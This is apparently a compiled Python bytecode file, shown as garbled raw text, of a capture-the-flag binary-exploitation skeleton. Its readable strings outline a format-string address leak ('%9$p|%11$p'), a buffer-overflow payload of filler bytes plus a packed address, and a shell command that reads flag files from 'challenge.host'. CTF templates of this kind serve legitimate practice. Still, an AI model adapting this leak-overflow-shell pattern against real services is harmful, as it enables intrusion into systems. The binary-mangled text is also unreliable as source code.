25 lines
2.3 KiB
Plaintext
25 lines
2.3 KiB
Plaintext
|
Ë
|
||
|
|
�½�jº ã ó† — d Z ddlmZmZmZmZmZ ddl de_ de_
|
||
|
|
d\ Z Z d„ Z
|
||
|
|
d„ Zd „ Zd
|
||
|
|
„ Zed k( r e« y y )
|
||
|
|
uÐ
|
||
|
|
PWN skeleton — copy & fill. (p4-team style)
|
||
|
|
|
||
|
|
Workflow:
|
||
|
|
1. Leak (format string / GOT / libc) -> step 1
|
||
|
|
2. Build ROP / overwrite -> step 2
|
||
|
|
3. Get shell / read flag -> step 3
|
||
|
|
é )ÚncÚ
|
||
|
|
receive_untilÚreceive_until_matchÚsendÚsendline)Ú*ÚinfoÚamd64)zchallenge.hosti9 c óÊ — | j d« t | d« | j d« }t |j d« d d« }t j d|« |S )zGLeak libc/stack/PIE base. Adapt to the vuln (format string shown here).s name > s
|
||
|
|
%9$p|%11$pó
|
||
|
|
ó |r é z
|
||
|
|
leak = %#x)Ú
|
||
|
|
recv_untilr ÚintÚsplitÚlogr )ÚsÚlineÚleaks útemplates/pwn_skeleton.pyÚ
|
||
|
|
step1_leakr sS € à‡L�L�Ô ä ˆQ�
|
||
|
|
Ô Ø �<‰<˜Ó €DÜ ˆt�z‰z˜$Ó Ñ" BÓ '€D܇H�Hˆ\˜4Ô Ø €Kó c ó^ — d}|t |« z
|
||
|
|
}| j d« t | |« y)z.Construct payload. Fill with your gadgets/ROP.s( AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAs
|
||
|
|
message > N)Úp64r r )r r Úpayloads r Ú
|
||
|
|
step2_exploitr s+ € à€GØ Œs�4‹yÑ€Gà‡L�L� Ô Ü ˆQ�Õr c ó” — | j d« t | d« t | j d¬« j d¬« « y )Ns $ s cat flag*; cat /flag*é )ÚtimeoutÚreplace)Úerrors)r r ÚprintÚrecvallÚdecode)r s r Ústep3r% ( s: € ؇L�L�ÔÜ ˆQÐ(Ô)Ü ˆ!�)‰)˜Aˆ)Ó
|
||
|
|
×
|
||
|
|
%Ñ
|